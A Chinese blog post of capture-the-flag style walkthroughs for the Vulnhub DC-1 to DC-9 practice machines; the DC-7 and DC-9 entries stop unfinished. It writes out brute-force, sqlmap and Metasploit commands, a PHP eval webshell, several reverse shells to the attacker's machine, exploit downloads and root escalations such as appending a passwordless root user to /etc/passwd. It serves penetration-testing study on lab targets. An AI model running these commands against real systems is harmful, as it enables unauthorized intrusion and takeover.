DC 靶机

最新推荐文章于 2024-05-13 14:15:14 发布
最新推荐文章于 2024-05-13 14:15:14 发布
阅读量3.9k 收藏 7
点赞数 1
分类专栏： 计算机
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/niqiu320/article/details/116493363
版权

DC-1实战

大致流程(copy博客为lainwith的)
在这里插入图片描述
环境kali
1、首先ifconfig 得知ip为192.168.149.xxx/
2、局域网探测arp-scan -l 得知靶机ip为192.168.149.147
3、扫描端口nmap -sV -p- 192.168.149.147，查看端口信息，得知80端口开放，浏览器访问80端口查看
4、目录遍历dirb http://192.168.149.147，无可用信息
5.、启动Metersploit来查看漏洞并利用漏洞msfconsole
6、寻找关于 drupal 的模块search drupal
7、选用2018年的exploit/unix/webapp/drupal_drupalgeddon2

use 对应模块

show options 查看信息

set rhosts 主机ip

set rhosts 靶机ip

run 运行

exploit 攻击

8、这样我们就可以成功得到一个会话meterpreter
利用会话直接ls发现flag1.txt
9、查看下flag1.txt内容cat flag1.txt得到一个提示
10、根据提示百度drupal配置文件的位置cat /var/www/sites/default/settings.php发现数据库账号dbuser和密码R0ck3t
11、要进入数据库，首先需要进入shell，然后确认一下端口，看数据库开了没。id、netstat -antpl然后看到3306端口开了
12、这个时候需要注意，不能直接msf进入，因为msf是从web服务打进去的，而HTTP是瞬时协议，需要让python来做一个中介。用python转换成标准的shellpython ‐c "import pty;pty.spawn(’/bin/bash’)"
13、进入数据库mysql -udbuser -pR0ck3t
14、

mysql> show databases;
mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;
mysql> select name,pass from users;

查到密码是加密的，先把密码的密文copy到一边备用
15、exit;退出数据库，在此修改密码为cd1
www-data@DC-1:/var/www$ php scripts/password-hash.sh cd1
16、再进入数据库drupaldb下重置密码update users set pass='$S$DJaod0REFWY5314KoXAnsZai5IBapyuu6zx510yDThIN5YzojVTT' where name='admin';
17、浏览器输入用户名：admin 密码：cd1 成功登录并发现flag3
18、msf端的shell退出数据库，去cat /etc/passwd
19、根目录下载：
在这里插入图片描述
爆破语句：hydra -l flag4 -P /usr/share/john/password.lst 192.168.40.136 ssh -vV -f
爆出账号密码是flag4：orange

20、使用ssh登录系统 flag4下：ls、cat flag4.txt、探测SUID和sudo -l，结果发现find就有SUID，find -exec “/bin/sh” ; whoami，cd /root , ls , cat thefinalflag.txt结束！
在这里插入图片描述

DC-2实战

大致流程(copy博客为lainwith的)
在这里插入图片描述
环境kali
1、首先ifconfig 得知ip为192.168.149.xxx/
2、局域网探测arp-scan -l 得知靶机ip为192.168.149.148
3、扫描端口nmap -sV -p- 192.168.149.148，查看端口信息，得知80端口开放，浏览器访问80端口查看，发现访问不到，dns被解析。
4、回过头来注意到nmap扫描时有这样一个提示，基本可以确认需要手动配置hosts文件
5、配置hosts文件（两种办法）
（1）kali修改hosts
sudo vim /etc/hosts在这里插入图片描述
（2）windows修改hosts

C:Windows\System32\drivers\etc\hosts

6、再次访问网站，即可进入。并拿到了flag1
7、目录遍历
由于靶机的网站页面是wordpress，所以选择wpscan来扫目录

1：先更新一下wpscan --update
2：简单扫描一下 wpscan --url dc-2
或者是用这个语句：
在这里插入图片描述

8、wpscan换一种用法，列出站点的3个账号 wpscan --url dc-2 -e u
9、爆破的话需要用户名字典，很明显，就是admin，jerry和tom那三个用户，密码字典则是刚拿下flag1爬站时生成的pwd.dic字典，工具这里选择使用wpscan了
命令：
wpscan --url dc-2 -U user.txt -P pwd.dic
爆出了两个账户
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
10、网站登录两个账户尝试，发现登录tom，发现了flag2
11、登录ssh，由于靶机的ssh不是22，所以需要指定端口。ssh tom@192.168.40.137 -p 7744
12、发现了flag3，但是由于自己用的是rbash，所以无法使用cat命令，需要绕过rbash限制。
在这里插入图片描述
13、查看一下/etc/passwd，看到了jerry，登入jerry账户
在这里插入图片描述14、输入如下命令，会强制进入交互状态
sudo git -p --help

再调用bash
!/bin/bash

现在就能以root身份执行命令了在这里插入图片描述

DC-3实战

环境kali
1、首先ifconfig 得知ip为192.168.149.151.xxx/
2、局域网探测arp-scan -l 得知靶机ip为192.168.149.151
3、扫描端口nmap -sV -p- 192.168.149.151，查看端口信息，得知80端口开放，浏览器访问80端口查看
4、使用nikto来收集一下nikto --url http://192.168.149.151/，爆出后台地址，浏览器访问
5、安装扫描工具：apt-getinstall joomscan，使用该网站模板对应的扫描工具扫一波：joomscan --url "http://192.168.149.151/"发现网站模板的版本是3.7.0
6、发现Joomla版本号与后台管理地址，使用searchsploit查看是否有可以使用的EXP: searchsploit joolma 3.7.0，发现了有一个sql注入漏洞
7、复制到/root：git clone https://github.com/Tuhinshubhra/CMSeeK
8、在CMSeeK文件打开终端：python3 cmseek.py --url http://192.168.149.151
9、输入searchsploit joomla 3.7.0，再输入cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root，找到漏洞详细信息。
在这里插入图片描述
10、跑数据库：sqlmap -u “http://192.168.40.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --batch --dbs -p list[fullordering]
11、跑表：sqlmap -u “http://192.168.40.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -p list[fullordering] --current-db
12、跑列：sqlmap -u “http://192.168.40.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 -p list[fullordering] -D “joomladb” --tables -T “#__users” --columns 注意：选y、选1、选10
13、跑名：sqlmap -u “http://192.168.40.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 -p list[fullordering] -D “joomladb” --tables -T “#__users” --columns -C “username,password” --dump
14、拿到用户名、密码：在这里插入图片描述
15、输入vim 1.txt，把密码放进去，:wq回车，cat 1.txt，john 1.txt，爆出密码：snoopy
16、登陆后台，寻找上传点：在Extensions模块中的Templates模块中的Beez3新建一个文件New File（shell.php），在此下写入一句话木马：<?php @eval($_POST['xxx']);?> 用蚁剑测试连接。
17、通过在蚁剑上执行命令来反弹shell到kali：在蚁剑任意文件下上传一个自己写的1.php文件，内容是 <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.149.132 1234 >/tmp/f');?>
另17、找到index.php写入system("bash -c ‘bash -i >& /dev/tcp/192.168.149.132/1234 0>&1’ "); 也可以实现监听。
18、kali中输入：nc -lvp 1234监听成功后输入：id，whoami测试，再输入www-data
因为没有监听成功，接下来就比较模糊了。。。
19、使用searchsploit搜索主机Ubuntu 16.04有关提权漏洞：searchsploit Ubuntu 16.04
20、查看漏洞介绍cp /usr/share/exploitdb/exploits/linux/local/39772.txt ubuntu-1604-shell.txt
21、cat ubuntu-1604-shell.txt
22、wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
23、unzip 39772.zip #解压29772.zip文件
cd 39772
tar -xvf exploit.tar #解压exploit提权脚本tar包
cd ebpf_mapfd_doubleput_exploit
24、./compile.sh #执行脚本，编译文件
25、./doubleput #执行提权文件
26、root，cd /root，ls，catthe-flag.txt

DC-4实战

在这里插入图片描述
环境kali
1、首先ifconfig 得知ip为192.168.149.xxx/
2、局域网探测arp-scan -l 得知靶机ip为192.168.149.149
3、扫描端口nmap -sV -p- 192.168.149.149，查看端口信息，得知80端口开放，浏览器访问80端口查看，发现是一个登录界面。
4、burp爆破账户密码为 admin happy，进入后再用burp抓包发送到repeater模块，修改radio为nc 192.168.149.132 666 -e /bin/bash。另一边kali里面输入nc -lvvp 666。这个时候repeater里go
5、whoami再python -c 'import pty;pty.spawn("/bin/sh")'
6、查看home目录 cd /home 查看账户ls，随便看看，找到jim中找出来的密码保存在root文件管理中
7、root下开启hydra，输入命令：hydra -l jim -P /root/a.txt ssh://192.168.149.149 爆出账户为 jim 密码为 jibril04
8、root下使用ssh远程登陆：ssh jim@192.168.149.149
9、ls看到了jim下有一个test.sh
10、输入cd /var/mail 然后在此目录下ls，发现了一个jim文件，cat jim，发现密码^xHhA&hvim0y，还发现了是charles给jim发送的一封密码邮件。
11、切换到用户charles发现使用sudo查看配置文件：su charles，sudo -l发现该用户可以以root权限免密码执行 /usr/bin/teehee
12、**cd /**到charles@dc-4下，echo “admin::0:0:::/bin/bash” | sudo teehee -a /etc/passwd
13、直接 su admin，直接无密码进入。cd root，ls，cat flag.txt

DC-5实站

环境kali
1、首先ifconfig 得知ip为192.168.149.xxx/
2、局域网探测arp-scan -l 得知靶机ip为192.168.149.152
3、扫描端口nmap -sV -p- 192.168.149.152，查看端口信息，得知80端口开放，浏览器访问80端口查看，发现是一个类似留言板的网页。
4、输入xss payload尝试，把URL的参数部分全部去掉，再刷新一下页面，发现Copyright的年份变了，再刷新页面，年份又变了，说明Copyright不是HTML写的，可能是后台的动态脚本写的。
5、可能存在文件包含，目录爆破一下，发现footer.php这个目录是有用的。当刷新footer.php时，发现Copyright在变，而刷新thankyou.php同理，可以确认，网站存在文件包含。
6、上面已经发现靶机存在文件包含，但是如果想要利用的话，就必须确认这个文件包含的动态的，是可控的，而要确认这一点，首先需要知道它实现包含的参数是什么？盲猜一个：?path=footer.php。很明显，失败了。上BurpSuite，爆路径，参数极有可能是file，令参数为file，路径为/etc/passwd。执行成功。说明靶机确实存在文件包含漏洞。
7、那么，接下来需要判断他是不是可以远程文件包含，如果可以的话，那就直接上木马，如果没有，再另寻他法。发现不支持远程文件包含，那只能本地文件包含了。
（远程文件包含，本地文件包含不大了解）
在这里插入图片描述
8、由于已经确定只能本地文件包含，那就可以考虑报错攻击，写一个payload传进去让服务器报错，找到服务器的日志，再去利用payload。
9、用bp找日志服务器，上bp爆破日志记录。发现日志在/var/log/nginx/access.log
10、一句话木马：
在这里插入图片描述
在这里插入图片描述
刷新日志，发现写入成功，蚁剑连接

文件包含漏洞的特点：
无视文件扩展名读取文件
无条件解析PHP代码

在tmp目录下新建一个文件，先上传，之后写入一句话木马。
浏览器下发现文件写入成功。
11、提权：试了试cd /root在蚁剑终端中不能进 root ，只可以whoami看看，nc-h再试试，看到-e有参数。
12、kali中开启监听，nc -lvvp 端口号
13、蚁剑反弹shell，nc -e /bin/bash kali ip 端口
14、kali拿到shell ，id , whoami
15、交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'
进入www-data@dc-5
16、cd / , sudo -l , find / -perm /4000 2>dev/null查找到可用于screen 4.5.0的漏洞脚本文件
17、kali开一个终端：searchsploit screen 4.5.0
18、进入桌面cp/usr/share/exploitdb/exploits/linux/local/41152.txt 41152.text
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh 然后ls查看是否写入
19、漏洞脚本文件的利用将41154.sh中上面一部分c语言代码另存为libhax.c 编译libhax.c文件gcc -fPIC -shared -ldl -o libhax.so libhax.c
20、将41154.sh中下面一部分c语言代码另存为rootshell.c 编译rootshell.c文件gcc -o rootshell rootshell.c
21、将41154.sh中剩下部分代码另存为dc5.sh脚本文件
并在保存dc5.sh文件输入 :set ff=unix ，否则在执行脚本文件时后出错
22、使用蚁剑将libhax.so 、rootshell 、dc5.sh三个文件上传到服务器的/tmp目录下。
在这里插入图片描述
23、获取最终的flag
为dc5.sh增加可执行权限，执行dc5.sh文件，成功获取到root权限
cd /tmp
chmod +x dc5.sh或者chmod 777 dc5.sh
ls -l
./dc5.sh
24、获取root权限后，进入root目录下，成功获取thisistheflag.txt文件
whoami
id
cd /root
ls
cat thisistheflag.txt*

DC-6实站

环境kali
1、首先ifconfig 得知ip为192.168.149.xxx/
2、局域网探测arp-scan -l 得知靶机ip为192.168.149.153
3、扫描端口nmap -sV -p- 192.168.149.153，查看端口信息，得知开放端口，浏览器访问查看，发现和dc-2一样访问不到网页，需要配置hosts文件（物理机和kali都添加）。浏览器访问，发现wordpress5.1.1 版本漏洞
4、发现自带的wpscan数据库升级不了，百度解决方法：
在这里插入图片描述
5、wpscan --url http://wordy/ --enumerate u 爆出用户，保存起来，用于后面爆破。
6、dirb 靶机ip，目录遍历出后台地址 http://192.168.149.153/wp-admin/network/
7、Wpscan –url http://wordy –U name.txt –P passwords.txt，（不知道密码库从哪里弄的，总之是知道用户名和密码） 用户名：mark，密码：helpdesk01，登陆后台。
8、进入后台发现左栏目activity_monitor插件漏洞，searchsploit activity monitor
9、进入文件系统在webapps打开终端，将45274.html移到root里面。
在这里插入图片描述
10、burp抓包，发送repeater模块，修改数据。同时kali监听：nc -lvvp 4444
加粗样式
在这里插入图片描述
在这里插入图片描述
11、kali里面whoami测试，**python3 -c ‘import pty;pty.spawn("/bin/bash")’**进入
在这里插入图片描述

12、一通乱找：pwd 、 ls -l 、cd /home/mark/stuff、 ls 在home下发现了things-to-do.txt文件，从中得到了grahamd账户和密码Gso7isUM1D4，并进行ssh登陆：ssh grahamd@127.0.0.1
13、sudo -l、 cat /home/jens/backups.sh下面的语句一一执行
在这里插入图片描述

14、按下面步骤：nmap有执行脚本的功能，通过编写特殊脚本，可以实现利用nmap提权（sudo提权）
利用过程：写入一个执行bash的nmap脚本，运行（这两行是关键代码）

echo "os.execute('/bin/bash')" > /tmp/root.nse
sudo nmap --script=/tmp/root.nse

在这里插入图片描述

DC-7实战

环境kali
1、首先ifconfig 得知ip为192.168.149.xxx/
2、局域网探测arp-scan -l 得知靶机ip为192.168.149.167
3、扫描端口nmap -sV -p- 192.168.149.167，查看端口信息，得知开放端口，浏览器访问查看。发现用户@DC7USER，放百度里面查找，github里面staffdb->config找到了用户名和密码（或者百度用别的办法也行，百度还有将源码下载到kali再查找用户名和密码的方法）

$username = “dc7user”; $password = “MdR3xOgB7#dW”;

4、kali 登陆 用户名和密码，ssh dc7user@靶机ip、 ls查看 、cat mbox查看可执行性文件
在这里插入图片描述
5、cd /opt/scripts、ls、cat backups.sh、发现脚本文件中drush 命令可以修改密码
在这里插入图片描述
6、 网站有默认的admin账号，必须进入/var/www/html目录下才能使用drush命令修改密码，必须在drush环境下才能调用drush命令。
修改密码语句：drush user-password admin --password="123456"

在这里插入图片描述

7、到这步什么鬼。。。明天继续。。。
在这里插入图片描述

DC-8 实战

环境kali
1、首先ifconfig 得知ip为192.168.149.xxx/
2、局域网探测arp-scan -l 得知靶机ip为192.168.149.168
3、扫描端口nmap -sV -p- 192.168.149.168，查看端口信息，得知开放端口，浏览器访问查看，发现有sql注入，sqlmap跑用户名和密码。sqlmap用起来发现忘了，这里正好复习一下：
01、先找注入点
在这里插入图片描述

02、爆库，不选内置库
在这里插入图片描述
在这里插入图片描述
03、爆表
在这里插入图片描述
在这里插入图片描述

04、爆列
在这里插入图片描述
在这里插入图片描述
05、爆值
在这里插入图片描述
在这里插入图片描述

| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
| john  | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

4、使用john工具进行破解,得到登录密码(这里用户名叫做john也是一种提示)
在这里插入图片描述
5、登录后台后，找到这个模块写入shell 同时 kali 中设置监听：nc -lvvp 4444
在这里插入图片描述
6、 kali寻找突破口：find / -user root -perm -4000 -print 2>/dev/null，看到一个exim4，python -c ‘import pty;pty.spawn("/bin/bash")’，进入www-data下

7、searchsploit exim，找到一个46996.sh，想办法把它下载到www-data下
在这里插入图片描述
8、根据这个路径：/usr/share/exploitdb/exploits/linux/local/46996.sh / 找到46996.sh，复制到root下
10、（这个也许没用）python -m SimpleHTTPServer 8000
11、cd到tmp中，wget http://kali的ip:8000/46996.sh 、ls查看一下
12、加权限：chmod +x 46996.sh
13、./46996.sh -m netcat、id、cat /root、ls、cat flag.txt
在这里插入图片描述

DC-9 实战

环境kali
1、首先ifconfig 得知ip为192.168.149.xxx/
2、局域网探测arp-scan -l 得知靶机ip为192.168.149.189
3、扫描端口nmap -sV -p- 192.168.149.189，查看端口信息，得知开放端口，浏览器访问查看，发现有sql注入

参考文章：https://blog.csdn.net/qq_43462485/article/details/109456721

香芋320
关注
  • 1
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
bulldog1——爆破、命令执行、pty提权
KUKULI233的博客
06-25 503
1.收集信息 netdiscover，是一个二层工具，原理是数据包产生交互即判定主机存活 netdiscover -i eth0 -r 192.168.249.0/24 靶机： 端口扫描 Masscan --rate=100000 -p 0-65535 192.168.249.137 (判断出目标是137) –rate发包数 –ports指定端口数 查看端口服务 Nmap -T4 -sV -O -p 8080,80,23 192.168.249.137 -sV服务版本 -T4速度(最高为5，推荐用4)
DC1 靶机复现详细流程
10-02
DC1 靶机复现详细流程
sudo命令中python提权
qq_40898302的博客
05-10 4131
python的提权
【Kali Linux工具篇】wpscan的基本介绍与使用
最新发布
失心少年
05-13 752
WPScan是Kali Linux默认自带的一款漏洞扫描工具，它采用Ruby编写，能够扫描WordPress网站中的多种安全漏洞，其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞，并且支持最新版本的WordPress。值得注意的是，它不仅能够扫描类似robots.txt这样的敏感文件，而且还能够检测当前已启用的插件和其他功能。
python：pty --- 伪终端工具
点点关注不迷路
03-15 919
python：pty --- 伪终端工具
python打开伪终端,使用python pty伪终端进程发送命令并退出
weixin_42120283的博客
11-30 751
Using python pty module, i want to send some commands to the terminal emulator, using a function as stdin (as pty module wants), and then force quitting. I thought about something likeimport ptycmnds ...
拿到webshell后利用python改变shell类型
qq_29566629的博客
03-27 2039
使用一条命令即可： python -c ‘import pty;pty.spawn(“/bin/bash”)’ ''' -c 后跟命令，也就是说后面引号里的内容相当于会执行的代码 pty 模块定义了一些处理“伪终端”概念的操作：启动另一个进程并能以程序方式在其控制终端中进行读写。 pty.spawn(argv[, master_read[, stdin_read]]) 生成一个进程，并将其控制终端连接到当前进程的标准 io。 这常被用来应对坚持要从控制终端读取数据的程序。 ''' 所以在靶机里存在Pyth
Vulnhub靶机渗透测试 DC-1靶机
03-05
Vulnhub靶机渗透测试 DC-1靶机
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
dc-4靶机练习.docx
01-02
靶机在web信息收集，burp获取登陆用户名和密码。 第二步：利用反弹shell后发现一封邮件，拿到新用户的登陆口令。 第三步：通过sudo -l]发现不用登录root可以使用的命令 [teehee --help][teehee -a]增加用户，具有...
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
python3 -c ‘import pty；pty.spawn(“/bin/bash“)‘升级切换交互式shell
sweelg的博客
02-28 3740
python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm Ctrl+Z stty -a stty raw -echo;fg reset stty rows 29 columns 94 row和columns数据为stty -a后的数据
实现交互式shell的几种方式：python pty 方式、升级nc、socat、script获取pty
闵行小鱼塘
06-04 1万+
当我们拿到一个webshell的时候，我们能够执行一些命令，但是这些命令都是非交互的，也就是说不存在上下文的概念。当我们想使用vim、top等命令时，webshell就无能为力了。 那我们怎么获取一个可交互的webshell呢？
Python中import机制
lgxzzz的博客
02-02 211
Python语言中import的使用很简单，直接使用import module_name语句导入即可。这里我主要写一下"import"的本质。 Python官方定义：Python code in one module gains access to the code in another module by the process of importing it. 1.定义： 模块（module）：用来从逻辑（实现一个功能）上组织Python代码（变量、函数、类），本质就是*.py文件。文件是物理上组
www.akmwzjt.net/index.php,FuseQRCode/index.html at 0221cc7b6cdc5324c71e1e2f67df0e1c466577f0 · Liam02...
热门推荐
weixin_29317963的博客
03-23 39万+
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAUYAAABuCAIAAADUPS1IAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAGwWSURBVHja7L1plJ3VdSZ...
Python -c 命令行执行方式
whereiwillgo的博客
06-08 1559
运行效果 通过-c选项，可以在shell或cmd命令行中，直接执行python脚本，效果如下图： 当python脚本，语句脚本，结构较复杂时，可以通过以下三种方式执行。 此处以python处理json文本为例，首先创建以下json.txt文件，内容如下： { "detail_err_msg": "", "err_msg": "", "err_no": 0, "result": [ 173, 174, .
python -c 执行单行命令/脚本，有点意思
phoenix339的博客
05-21 1万+
python -c参数，支持执行单行命令/脚本。 例： > python -c "import os;print('hello'),print('world')" > python -c "import os;print('hello');print('world')" 注意：要用双引号将命令包起来，import要以**;结尾，命令用[]括起来，多行命令用多个[]** > py...
反弹shell的多种方式
课嗨教育的专栏
04-03 323
升级成半交互式 tty python -c 'import pty; pty.spawn("/bin/bash")' 升级成完全交互式 tty，能用方向键 + tab，就是退出比较麻烦。 python -c 'import pty; pty.spawn("/bin/bash")' Ctrl + Z stty raw -echo fg reset Bash Tested on Ubuntu 10.10 /bin/bash -i >& /dev/tcp/10.10.14.1/44
One Piece1-541(ed2k)
贾亮的专栏
05-28 16万+
1-143 http://www.VeryCD.com/topics/143292/ 144-228 http://www.VeryCD.com/topics/17082/ 229-325 http://www.VeryCD.com/topics/39594/ 326-384 http://www.VeryCD.com/topics/198051/ 385-458 ht
渗透DC-1靶机设计思路
05-24
设计思路： 1. 确定目标：首先需要确定渗透的目标，即DC-1靶机。 2. 收集信息：收集关于DC-1的信息，如IP地址、开放端口、操作系统等。可以使用工具如nmap、whois、dnsrecon等进行信息搜集。 3. 扫描漏洞：使用漏洞扫描工具如Nessus、OpenVAS等扫描DC-1，寻找漏洞。 4. 渗透攻击：根据扫描结果，利用漏洞进行攻击。可以使用一些常见的攻击手段，如SQL注入、XSS、文件包含、远程代码执行等。 5. 提升权限：在攻击成功后，需要提升自己的权限，获取更高的权限。可以使用一些提权工具，如Metasploit。 6. 横向移动：在获得了足够的权限后，可以尝试横向移动，进一步渗透网络。 7. 维持访问：在渗透成功后，需要维持访问，以便长期监控目标。 8. 清理痕迹：在攻击结束后，需要清理自己留下的痕迹，以免被发现。 以上是一个基本的渗透DC-1靶机的设计思路，但是具体实施过程中需要根据实际情况进行调整和优化。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值